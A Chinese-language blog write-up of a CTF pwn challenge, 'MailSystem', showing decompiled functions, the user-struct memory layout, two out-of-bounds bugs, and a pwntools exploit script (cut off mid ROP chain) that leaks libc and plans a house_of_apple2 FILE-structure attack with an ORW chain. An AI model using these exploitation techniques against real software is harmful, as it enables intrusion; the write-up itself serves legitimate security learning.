如果你想知道在日常对话里怎么刻意练习区分，也可以接着问我。\n","date":"2026-04-22T10:48:00Z","image":"https://pic.ratherhard.com/random/rd4.png","permalink":"/post/japan/particle-summary/","title":"日语助词整理"},{"content":"初赛 MailSystem 唯一的 pwn\nchecksec 1 2 3 4 5 6 7 8 [*] \u0026#39;/home/kali/Desktop/attachment/pwn\u0026#39; Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled 保护全开\nIDA 程序比较复杂，需要耐心分析，是一个简单的邮件系统\nmain 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 void __fastcall __noreturn main(const char *a1, char **a2, char **a3) { int v3; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-8h] v4 = __readfsqword(0x28u); init(); while ( 1 ) { while ( 1 ) { menu(a1, a2); v3 = 0; a2 = (char **)\u0026amp;v3; a1 = \u0026#34;%d\u0026#34;; if ( (unsigned int)__isoc99_scanf(\u0026#34;%d\u0026#34;, \u0026amp;v3) == 1 ) break; while ( getchar() != 10 ) ; a1 = \u0026#34;Invalid input!\u0026#34;; puts(\u0026#34;Invalid input!\u0026#34;); } if ( v3 == 3 ) { puts(\u0026#34;Goodbye!\u0026#34;); exit(0); } if ( v3 \u0026gt; 3 ) { LABEL_13: a1 = \u0026#34;Invalid choice!\u0026#34;; puts(\u0026#34;Invalid choice!\u0026#34;); } else if ( v3 == 1 ) { login(); } else { if ( v3 != 2 ) goto LABEL_13; register(); } } } menu 1 2 3 4 5 6 7 8 int menu() { puts(\u0026#34;Welcome to the mail system!\u0026#34;); puts(\u0026#34;1. login account\u0026#34;); puts(\u0026#34;2. register account\u0026#34;); puts(\u0026#34;3. exit\u0026#34;); return printf(\u0026#34;Your choice: \u0026#34;); } 能注册和登录，可以正常退出\ninit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 int init() { char *v0; // rax int i; // [rsp+4h] [rbp-Ch] FILE *stream; // [rsp+8h] [rbp-8h] setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); seccomp(); for ( i = 0; i \u0026lt;= 11; ++i ) this_is_time[34 * i] = time(0); this_is_admin = malloc(0x400u); memset(this_is_admin, 0, 0x400u); if ( !this_is_admin ) { puts(\u0026#34;malloc error\u0026#34;); exit(-1); } v0 = (char *)this_is_admin + 50; *(_DWORD *)((char *)this_is_admin + 50) = \u0026#39;imda\u0026#39;; *((_WORD *)v0 + 2) = \u0026#39;n\u0026#39;; stream = fopen(\u0026#34;/dev/urandom\u0026#34;, \u0026#34;rb\u0026#34;); if ( !stream ) { puts(\u0026#34;fopen error\u0026#34;); exit(-1); } fread((char *)this_is_admin + 0x68, 1u, 0x10u, stream); return fclose(stream); } 初始化管理员账号，管理员密码随机\nlogin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 unsigned __int64 login() { int i; // [rsp+Ch] [rbp-64h] char *v2; // [rsp+18h] [rbp-58h] char s2[32]; // [rsp+20h] [rbp-50h] BYREF char v4[40]; // [rsp+40h] [rbp-30h] BYREF unsigned __int64 v5; // [rsp+68h] [rbp-8h] v5 = __readfsqword(0x28u); printf(\u0026#34;Input your name: \u0026#34;); __isoc99_scanf(\u0026#34;%31s\u0026#34;, s2); printf(\u0026#34;Input your password: \u0026#34;); __isoc99_scanf(\u0026#34;%31s\u0026#34;, v4); if ( (unsigned int)admin_check(s2, v4) ) { admin_panel(); } else { for ( i = 0; i \u0026lt;= 11; ++i ) { if ( user_table[i] ) { v2 = (char *)(user_table[i] + 704LL); if ( !strcmp((const char *)(user_table[i] + 664LL), s2) \u0026amp;\u0026amp; !strcmp(v2, v4) ) { printf(\u0026#34;Welcome back, %s!\\n\u0026#34;, s2); putchar(10); mail_panel(user_table[i]); return v5 - __readfsqword(0x28u); } } } puts(\u0026#34;Login failed! Invalid username or password.\u0026#34;); putchar(10); } return v5 - __readfsqword(0x28u); } 登录逻辑\nregister 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 unsigned __int64 register() { int v1; // [rsp+Ch] [rbp-54h] char s1[32]; // [rsp+10h] [rbp-50h] BYREF char src[40]; // [rsp+30h] [rbp-30h] BYREF unsigned __int64 v4; // [rsp+58h] [rbp-8h] v4 = __readfsqword(0x28u); v1 = add_user((__int64)user_table); if ( v1 != -1 ) { printf(\u0026#34;Input your name: \u0026#34;); __isoc99_scanf(\u0026#34;%31s\u0026#34;, s1); if ( !strcmp(s1, \u0026#34;admin\u0026#34;) ) { puts(\u0026#34;Username illegal!\u0026#34;); putchar(10); free((void *)user_table[v1]); user_table[v1] = 0; } else { strcpy((char *)(user_table[v1] + 0x298LL), s1); printf(\u0026#34;Input your password: \u0026#34;); __isoc99_scanf(\u0026#34;%31s\u0026#34;, src); strcpy((char *)(user_table[v1] + 0x2C0LL), src); printf(\u0026#34;Registered user: %s\\n\u0026#34;, s1); puts(\u0026#34;Registration successful!\u0026#34;); putchar(10); } } return v4 - __readfsqword(0x28u); } 注册逻辑\nadmin_check 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 __fastcall admin_check(const char *a1, const char *a2) { if ( strcmp(a1, (const char *)this_is_admin + 0x32) ) return 0; if ( !strncmp(a2, (const char *)this_is_admin + 0x68, 0x10u) ) { puts(\u0026#34;Welcome admin!\u0026#34;); return 1; } else { puts(\u0026#34;Wrong password for admin!\u0026#34;); return 0; } } 检测管理员账号\nadmin_panel 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 unsigned __int64 admin_panel() { int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); while ( 1 ) { while ( 1 ) { puts(\u0026#34;=== Admin Menu ===\u0026#34;); puts(\u0026#34;1. Change user info\u0026#34;); puts(\u0026#34;2. Delete user\u0026#34;); puts(\u0026#34;3. Mail to user\u0026#34;); puts(\u0026#34;4. Mail user to user\u0026#34;); puts(\u0026#34;5. Logout\u0026#34;); printf(\u0026#34;Your choice: \u0026#34;); v1 = 0; if ( (unsigned int)__isoc99_scanf(\u0026#34;%d\u0026#34;, \u0026amp;v1) == 1 ) break; while ( getchar() != 10 ) ; puts(\u0026#34;Invalid input!\u0026#34;); putchar(10); } switch ( v1 ) { case 1: change_user_info(); break; case 2: delete_user(); break; case 3: mail_to_user(); break; case 4: mail_user_to_user(); break; case 5: puts(\u0026#34;Logging out as admin...\u0026#34;); putchar(10); return v2 - __readfsqword(0x28u); default: puts(\u0026#34;Invalid choice!\u0026#34;); putchar(10); break; } } } 管理员面板\nmail_panel 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 unsigned __int64 __fastcall mail_panel(size_t *a1) { int v2; // [rsp+10h] [rbp-10h] BYREF int v3; // [rsp+14h] [rbp-Ch] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); while ( 1 ) { while ( 1 ) { mail_menu(); v2 = 0; if ( (unsigned int)__isoc99_scanf(\u0026#34;%d\u0026#34;, \u0026amp;v2) == 1 ) break; while ( getchar() != 10 ) ; puts(\u0026#34;Invalid input!\u0026#34;); putchar(10); } if ( v2 == 4 ) break; if ( v2 \u0026gt; 4 ) goto LABEL_16; switch ( v2 ) { case 3: v3 = send_mail(a1); if ( v3 == 1 ) return v4 - __readfsqword(0x28u); break; case 1: write_mail((__int64)a1); break; case 2: read_mail((__int64)a1); break; default: LABEL_16: puts(\u0026#34;Invalid choice!\u0026#34;); putchar(10); break; } } puts(\u0026#34;Logging out...\u0026#34;); putchar(10); return v4 - __readfsqword(0x28u); } 用户面板\nadd_user 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 __int64 __fastcall add_user(__int64 a1) { int v2; // [rsp+14h] [rbp-Ch] int i; // [rsp+18h] [rbp-8h] int j; // [rsp+1Ch] [rbp-4h] v2 = 0; for ( i = 0; i \u0026lt;= 11; ++i ) { if ( *(_QWORD *)(8LL * i + a1) \u0026amp;\u0026amp; *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 0x278LL) ) ++v2; } if ( v2 \u0026lt;= 7 ) { for ( j = 0; ; ++j ) { if ( j \u0026gt; 12 ) return 0xFFFFFFFFLL; if ( !*(_QWORD *)(8LL * j + a1) || *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL) != 1 ) break; } *(_QWORD *)(8LL * j + a1) = malloc(0x410u); memset(*(void **)(8LL * j + a1), 0, 0x410u); if ( !*(_QWORD *)(8LL * j + a1) ) { perror(\u0026#34;malloc failed\u0026#34;); exit(-1); } *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x278LL) = j + 1; *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL) = 1; return (unsigned int)j; } else { puts(\u0026#34;User full!\u0026#34;); return 0xFFFFFFFFLL; } } 添加用户，特定情况下存在正向越界写\nmail_user_to_user 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 unsigned __int64 mail_user_to_user() { int v1; // [rsp+Ch] [rbp-34h] BYREF int v2; // [rsp+10h] [rbp-30h] BYREF int v3; // [rsp+14h] [rbp-2Ch] BYREF size_t n; // [rsp+18h] [rbp-28h] size_t v5; // [rsp+20h] [rbp-20h] void *v6; // [rsp+28h] [rbp-18h] void *src; // [rsp+30h] [rbp-10h] unsigned __int64 v8; // [rsp+38h] [rbp-8h] v8 = __readfsqword(0x28u); printf(\u0026#34;Enter source user ID (whose mail to forward): (1-12) \u0026#34;); if ( (unsigned int)__isoc99_scanf(\u0026#34;%d\u0026#34;, \u0026amp;v1) != 1 ) { puts(\u0026#34;Invalid source user ID!\u0026#34;); while ( getchar() != 10 ) ; goto ret; } printf(\u0026#34;Enter destination user ID (1-12): \u0026#34;); if ( (unsigned int)__isoc99_scanf(\u0026#34;%d\u0026#34;, \u0026amp;v2) != 1 ) { puts(\u0026#34;Invalid destination user ID!\u0026#34;); while ( getchar() != 10 ) ; goto ret; } if ( v1 \u0026gt; 12 ) { puts(\u0026#34;Source user ID out of range!\u0026#34;); putchar(10); } else if ( user_table[v1 - 1] ) { if ( v2 \u0026gt; 12 ) { puts(\u0026#34;Destination user ID out of range!\u0026#34;); putchar(10); } else if ( user_table[v2 - 1] ) { if ( !*(_QWORD *)(user_table[v2 - 1] + 0x308LL) || (printf(\u0026#34;Warning: User %d already has unread mail. Overwrite? (y/n): \u0026#34;, v2), __isoc99_scanf(\u0026#34; %c\u0026#34;, \u0026amp;v3), (_BYTE)v3 == 0x79) || (_BYTE)v3 == 0x59 ) { if ( v1 \u0026gt; 12 ) { ret: putchar(10); return v8 - __readfsqword(0x28u); } puts(\u0026#34;Which mail would you like to forward?\u0026#34;); puts(\u0026#34;1. User\u0026#39;s draft\u0026#34;); puts(\u0026#34;2. User\u0026#39;s inbox mail\u0026#34;); printf(\u0026#34;Your choice: \u0026#34;); if ( (unsigned int)__isoc99_scanf(\u0026#34;%d\u0026#34;, \u0026amp;v3) != 1 ) { puts(\u0026#34;Invalid input!\u0026#34;); while ( getchar() != 10 ) ; goto ret; } if ( v2 \u0026lt;= 12 ) *(_QWORD *)(user_table[v2 - 1] + 0x308LL) = 1; if ( v3 == 1 ) { if ( v2 \u0026lt;= 12 ) { n = *(_QWORD *)(user_table[v1 - 1] + 0x100LL); if ( n \u0026gt; 0x100 ) n = 256; src = (void *)(user_table[v1 - 1] + 0x110LL); memcpy((void *)user_table[v2 - 1], src, n); *(_QWORD *)(user_table[v2 - 1] + 0x210LL) = n; } } else { if ( v3 != 2 ) { puts(\u0026#34;Invalid choice!\u0026#34;); putchar(10); return v8 - __readfsqword(0x28u); } if ( v2 \u0026lt;= 12 ) { v5 = *(_QWORD *)(user_table[v1 - 1] + 0x210LL); if ( v5 \u0026gt; 0x100 ) v5 = 0x100; v6 = (void *)user_table[v1 - 1]; memcpy((void *)user_table[v2 - 1], v6, v5); *(_QWORD *)(user_table[v2 - 1] + 0x210LL) = v5; } } printf(\u0026#34;Mail forwarded from index %d to index %d!\\n\u0026#34;, v1, v2); } else { puts(\u0026#34;Forwarding cancelled.\u0026#34;); putchar(10); } } else { printf(\u0026#34;Destination user %d does not exist!\\n\u0026#34;, v2); putchar(10); } } else { printf(\u0026#34;Source user %d does not exist!\\n\u0026#34;, v1); putchar(10); } return v8 - __readfsqword(0x28u); } 管理员以某一用户名义发邮件给另一名用户，存在越界读写\nmail_menu 1 2 3 4 5 6 7 8 int mail_menu() { puts(\u0026#34;1. Write mail\u0026#34;); puts(\u0026#34;2. Read mail\u0026#34;); puts(\u0026#34;3. Send mail\u0026#34;); puts(\u0026#34;4. Logout\u0026#34;); return printf(\u0026#34;Your choice: \u0026#34;); } 用户菜单\nwrite_mail 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 unsigned __int64 __fastcall write_mail(__int64 a1) { int v2; // [rsp+18h] [rbp-118h] BYREF int v3; // [rsp+1Ch] [rbp-114h] _BYTE buf[264]; // [rsp+20h] [rbp-110h] BYREF unsigned __int64 v5; // [rsp+128h] [rbp-8h] v5 = __readfsqword(0x28u); printf(\u0026#34;How many bytes do you want to write? (1-%d): \u0026#34;, 256); if ( (unsigned int)__isoc99_scanf(\u0026#34;%d\u0026#34;, \u0026amp;v2) != 1 ) { puts(\u0026#34;Invalid input!\u0026#34;); while ( getchar() != 10 ) ; LABEL_16: putchar(10); return v5 - __readfsqword(0x28u); } if ( v2 \u0026gt; 0 \u0026amp;\u0026amp; v2 \u0026lt;= 256 ) { printf(\u0026#34;Write your mail content (max %d bytes):\\n\u0026#34;, v2); while ( getchar() != 10 ) ; v3 = read(0, buf, v2); if ( v3 \u0026lt;= 0 ) { puts(\u0026#34;Failed to read input!\u0026#34;); } else { memcpy((void *)(a1 + 0x110), buf, v3); *(_QWORD *)(a1 + 0x100) = v3; if ( v3 \u0026gt; 0xFF ) *(_BYTE *)(a1 + 0x20F) = 0; else *(_BYTE *)(v3 + 0x110LL + a1) = 0; *(_QWORD *)(a1 + 0x310) = 1; puts(\u0026#34;Draft saved!\u0026#34;); } goto LABEL_16; } printf(\u0026#34;Write size must be between 1 and %d bytes.\\n\u0026#34;, 256); putchar(10); return v5 - __readfsqword(0x28u); } 写邮件\nread_mail 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 unsigned __int64 __fastcall read_mail(__int64 a1) { int v2; // [rsp+14h] [rbp-Ch] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); while ( 1 ) { while ( 1 ) { read_menu(); if ( (unsigned int)__isoc99_scanf(\u0026#34;%d\u0026#34;) == 1 ) break; while ( getchar() != 10 ) ; puts(\u0026#34;Invalid input!\u0026#34;); } if ( v2 == 3 ) break; if ( v2 \u0026gt; 3 ) goto LABEL_17; if ( v2 == 1 ) { if ( *(_QWORD *)(a1 + 0x310) ) { puts(\u0026#34;Your saved draft:\u0026#34;); puts((const char *)(a1 + 0x110)); putchar(10); } else { puts(\u0026#34;No saved draft found.\\n\u0026#34;); } } else if ( v2 == 2 ) { if ( *(_QWORD *)(a1 + 0x308) ) { puts(\u0026#34;Inbox (new mail):\u0026#34;); puts((const char *)a1); *(_QWORD *)(a1 + 0x308) = 0; putchar(10); } else { puts(\u0026#34;No new mail in inbox.\\n\u0026#34;); } } else { LABEL_17: puts(\u0026#34;Invalid choice!\\n\u0026#34;); } } putchar(10); return v3 - __readfsqword(0x28u); } 读邮件\nsend_mail 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 __int64 __fastcall send_mail(size_t *a1) { char v2; // [rsp+1Bh] [rbp-25h] BYREF int v3; // [rsp+1Ch] [rbp-24h] BYREF size_t n; // [rsp+20h] [rbp-20h] size_t v5; // [rsp+28h] [rbp-18h] _QWORD *v6; // [rsp+30h] [rbp-10h] unsigned __int64 v7; // [rsp+38h] [rbp-8h] v7 = __readfsqword(0x28u); puts(\u0026#34;Who do you want to send the mail to? (input user ID 1-12)\u0026#34;); if ( (unsigned int)__isoc99_scanf(\u0026#34;%d\u0026#34;, \u0026amp;v3) == 1 ) { if ( v3 \u0026gt; 0 \u0026amp;\u0026amp; v3 \u0026lt;= 12 ) { if ( user_table[v3 - 1] ) { if ( a1[0x62] ) { v5 = a1[0x4F]; v6 = \u0026amp;this_is_time[34 * v5 - 34]; ++*((_DWORD *)v6 + 2); if ( (unsigned int)secure_check(v5) ) { return 1; } else if ( !*(_QWORD *)(user_table[v3 - 1] + 0x308LL) || (printf(\u0026#34;Warning: User %d already has unread mail. Overwrite? (y/n): \u0026#34;, v3), __isoc99_scanf(\u0026#34; %c\u0026#34;, \u0026amp;v2), v2 == 121) || v2 == 89 ) { n = a1[32]; if ( n \u0026gt; 0x100 ) n = 256; *(_QWORD *)(user_table[v3 - 1] + 0x308LL) = 1; memcpy((void *)user_table[v3 - 1], a1 + 34, n); *(_QWORD *)(user_table[v3 - 1] + 0x210LL) = n; a1[98] = 0; printf(\u0026#34;Mail sent to user %d!\\n\u0026#34;, v3); putchar(10); return 0; } else { puts(\u0026#34;Mail sending cancelled.\u0026#34;); putchar(10); return 0; } } else { puts(\u0026#34;No draft to send! Please write a mail first.\u0026#34;); putchar(10); return 0; } } else { puts(\u0026#34;User does not exist!\u0026#34;); putchar(10); return 0; } } else { puts(\u0026#34;Invalid user ID! Must be between 1 and 12.\u0026#34;); putchar(10); return 0; } } else { puts(\u0026#34;Invalid input!\u0026#34;); while ( getchar() != 10 ) ; putchar(10); return 0; } } 发送邮件\nread_menu 1 2 3 4 5 6 7 8 int read_menu() { puts(\u0026#34;What would you like to read?\u0026#34;); puts(\u0026#34;1. My saved draft\u0026#34;); puts(\u0026#34;2. Inbox (mails sent to me)\u0026#34;); puts(\u0026#34;3. Back to main menu\u0026#34;); return printf(\u0026#34;Your choice: \u0026#34;); } 读邮件面板\nsecure_check 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 __int64 __fastcall secure_check(int a1) { time_t v2; // [rsp+10h] [rbp-20h] time_t *v3; // [rsp+18h] [rbp-18h] _QWORD *v4; // [rsp+20h] [rbp-10h] FILE *stream; // [rsp+28h] [rbp-8h] v2 = time(0); v3 = \u0026amp;this_is_time[34 * a1 - 34]; if ( v2 - *v3 \u0026gt; 10 || *((int *)v3 + 2) \u0026lt;= 4 ) { if ( v2 - *v3 \u0026gt; 10 ) { *((_DWORD *)v3 + 2) = 0; *v3 = v2; } return 0; } else { printf(\u0026#34;\\x1B[1;31;40m[SECURITY] Risk detected for user %d! Account banned.\\x1B[0m\\n\u0026#34;, a1); if ( a1 \u0026gt; 0 \u0026amp;\u0026amp; a1 \u0026lt;= 12 \u0026amp;\u0026amp; user_table[a1 - 1] ) { v4 = (_QWORD *)user_table[a1 - 1]; v4[0x53] = \u0026#39;lagelli\u0026#39;; stream = fopen(\u0026#34;/dev/urandom\u0026#34;, \u0026#34;rb\u0026#34;); if ( stream ) { fread(v4 + 88, 1u, 0x10u, stream); fclose(stream); } v4[0x4F] = 0; puts(\u0026#34;Account has been banned!\u0026#34;); puts(\u0026#34;Returning to login menu...\\n\u0026#34;); } return 1; } } 安全检测，发送频率过高会封号\nbss 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 .bss:0000000000007020 ; =========================================================================== .bss:0000000000007020 .bss:0000000000007020 ; Segment type: Uninitialized .bss:0000000000007020 ; Segment permissions: Read/Write .bss:0000000000007020 _bss segment align_32 public \u0026#39;BSS\u0026#39; use64 .bss:0000000000007020 assume cs:_bss .bss:0000000000007020 ;org 7020h .bss:0000000000007020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing .bss:0000000000007020 public stdout .bss:0000000000007020 ; FILE *stdout .bss:0000000000007020 stdout dq ? ; DATA XREF: LOAD:00000000000006A0↑o .bss:0000000000007020 ; init+2A↑r .bss:0000000000007020 ; Copy of shared data .bss:0000000000007028 align 10h .bss:0000000000007030 public stdin .bss:0000000000007030 ; FILE *stdin .bss:0000000000007030 stdin dq ? ; DATA XREF: LOAD:00000000000006D0↑o .bss:0000000000007030 ; init+C↑r .bss:0000000000007030 ; Copy of shared data .bss:0000000000007038 align 20h .bss:0000000000007040 public stderr .bss:0000000000007040 ; FILE *stderr .bss:0000000000007040 stderr dq ? ; DATA XREF: LOAD:0000000000000700↑o .bss:0000000000007040 ; init+48↑r .bss:0000000000007040 ; Copy of shared data .bss:0000000000007048 byte_7048 db ? ; DATA XREF: sub_13E0+4↑r .bss:0000000000007048 ; sub_13E0+2C↑w .bss:0000000000007049 align 20h .bss:0000000000007060 ; _QWORD user_table[12] .bss:0000000000007060 user_table dq 0Ch dup(?) ; DATA XREF: secure_check+A7↑o .bss:0000000000007060 ; secure_check+CB↑o ... .bss:00000000000070C0 ; void *this_is_admin .bss:00000000000070C0 this_is_admin dq ? ; DATA XREF: init+BC↑w .bss:00000000000070C0 ; init+C3↑r ... .bss:00000000000070C8 align 20h .bss:00000000000070E0 ; _QWORD this_is_time[408] .bss:00000000000070E0 this_is_time dq 198h dup(?) ; DATA XREF: secure_check+34↑o .bss:00000000000070E0 ; init+9D↑o ... .bss:00000000000070E0 _bss ends .bss:00000000000070E0 bss 结构\n攻击思路 难点是梳理程序流程和内存的结构以及识别漏洞点\n管理员内存结构 管理员内存大小为 0x400\n1 2 0x32: 名称 0x68: 密码 用户内存结构 用户内存大小为 0x410\n1 2 3 4 5 6 7 8 9 10 0x0-0x100: 0x100 收件 0x100-0x108: 0x8 草稿大小 0x110-0x210: 0x100 草稿 0x210-0x218: 0x8 收件大小 0x278-0x280: 0x8 编号，被 ban 清零 0x298-0x2B8: 0x20 用户名 0x2C0-0x2E8: 0x28 密码 0x308-0x310: 0x8 收件标记 0x310-0x318: 0x8 草稿标记 0x388-0x390: 0x8 存在标记 漏洞点利用 在注册时有这样的逻辑：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 v2 = 0; for ( i = 0; i \u0026lt;= 11; ++i ) { if ( *(_QWORD *)(8LL * i + a1) \u0026amp;\u0026amp; *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 0x278LL) ) ++v2; } if ( v2 \u0026lt;= 7 ) { for ( j = 0; ; ++j ) { if ( j \u0026gt; 12 ) return 0xFFFFFFFFLL; if ( !*(_QWORD *)(8LL * j + a1) || *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL) != 1 ) break; } 这里 j 在出 for 循环时可以为 12 ，这样的话可以从用户表越界到管理员表，把管理员的名称和密码都清空，这样就可以直接登录管理员账号了\n但是要使 j 为 12 ，就要绕过上面对 v2 的大小检验，这要求 *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 0x278LL) 为 0 而 *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL 不为零，该情况发生的条件是用户被 ban\n而要想用户被 ban ，根据 secure_check 的逻辑只要在 10 秒内发送超过四次邮件即可\n于是我们每注册一个用户就 ban 一个，直到填满用户表使溢出发生后即可成为管理员\n成为管理员后的 mail_user_to_user 中有反向越界读写，可以通过标准流指针泄露 libc 基址，然后通过往 stderr 里面发送 fake_io 信件打 house_of_apple2 ，走 setcontext 去跑 read 再写入 orw_chain\n比赛时最后十分钟过了本地但是远程炸了，淦，好像是交互时间过长的问题。\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 if debug: io = process(\u0026#39;./pwn_patched\u0026#39;) else: io = remote(\u0026#39;192.0.100.2\u0026#39;, 9999) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) ### login def login(name, pwd): io.sendlineafter(b\u0026#39;choice: \u0026#39;, b\u0026#39;1\u0026#39;) io.sendlineafter(b\u0026#39;name: \u0026#39;, name) io.sendlineafter(b\u0026#39;password: \u0026#39;, pwd) def register(name, pwd): io.sendlineafter(b\u0026#39;choice: \u0026#39;, b\u0026#39;2\u0026#39;) io.sendlineafter(b\u0026#39;name: \u0026#39;, name) io.sendlineafter(b\u0026#39;password: \u0026#39;, pwd) def myexit(): io.sendlineafter(b\u0026#39;choice: \u0026#39;, b\u0026#39;3\u0026#39;) ### user def writemail(bt, content): io.sendlineafter(b\u0026#39;choice: \u0026#39;, b\u0026#39;1\u0026#39;) io.sendlineafter(b\u0026#39;(1-256): \u0026#39;, str(bt).encode()) io.sendlineafter(b\u0026#39;bytes):\\n\u0026#39;, content) def readmail(choice): io.sendlineafter(b\u0026#39;choice: \u0026#39;, b\u0026#39;2\u0026#39;) io.sendlineafter(b\u0026#39;choice: \u0026#39;, str(choice).encode()) def back2menu(): io.sendlineafter(b\u0026#39;choice: \u0026#39;, b\u0026#39;3\u0026#39;) def sendmail(id, rep = False): io.sendlineafter(b\u0026#39;choice: \u0026#39;, b\u0026#39;3\u0026#39;) io.sendlineafter(b\u0026#39;(input user ID 1-12)\u0026#39;, str(id).encode()) if rep: io.sendlineafter(b\u0026#39;(y/n): \u0026#39;, b\u0026#39;y\u0026#39;) def logout(): io.sendlineafter(b\u0026#39;choice: \u0026#39;, b\u0026#39;4\u0026#39;) ### admin def user2user(src, dst, choice, rep = False): io.sendlineafter(b\u0026#39;choice: \u0026#39;, b\u0026#39;4\u0026#39;) io.sendlineafter(b\u0026#39;: (1-12) \u0026#39;, str(src).encode()) io.sendlineafter(b\u0026#39;(1-12): \u0026#39;, str(dst).encode()) if rep: io.sendlineafter(b\u0026#39;(y/n): \u0026#39;, b\u0026#39;y\u0026#39;) io.sendlineafter(b\u0026#39;choice: \u0026#39;, str(choice).encode()) def admin_logout(): io.sendlineafter(b\u0026#39;choice: \u0026#39;, b\u0026#39;5\u0026#39;) def attack(): for i in range(12):\t# admin register(b\u0026#39;AAA\u0026#39; + str(i).encode(), b\u0026#39;BBB\u0026#39;) login(b\u0026#39;AAA\u0026#39; + str(i).encode(), b\u0026#39;BBB\u0026#39;) if i \u0026gt;= 7: writemail(1, b\u0026#39;C\u0026#39;) sendmail(i + 1) for _ in range(3): writemail(1, b\u0026#39;C\u0026#39;) sendmail(i + 1, True) writemail(1, b\u0026#39;C\u0026#39;) sendmail(i + 1) logout() register(b\u0026#39;AAA\u0026#39; + str(13).encode(), b\u0026#39;BBB\u0026#39;) login(b\u0026#39;\\x00\u0026#39;, b\u0026#39;\\x00\u0026#39;) user2user(-3, 1, 1) admin_logout() login(b\u0026#39;AAA0\u0026#39;, b\u0026#39;BBB\u0026#39;) readmail(2) io.recvuntil(b\u0026#39;(new mail):\\n\u0026#39;) libc.address = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) - 0x21b803 log.info(f\u0026#39;libc = {hex(libc.address)}\u0026#39;) back2menu() logout() stderr = libc.sym[\u0026#39;_IO_2_1_stderr_\u0026#39;] pop_rax_ret = libc.address + 0x45eb0 pop_rdi_ret = libc.address + 0x2a3e5 pop_rsi_ret = libc.address + 0x2be51 pop_rdx_pop_r12_ret = libc.address + 0x11f357 syscall_ret = libc.address + 0x91316 read_rop_chain = flat([ 0, pop_rsi_ret, stderr + 0x68, pop_rdx_pop_r12_ret, 0x100, 0, 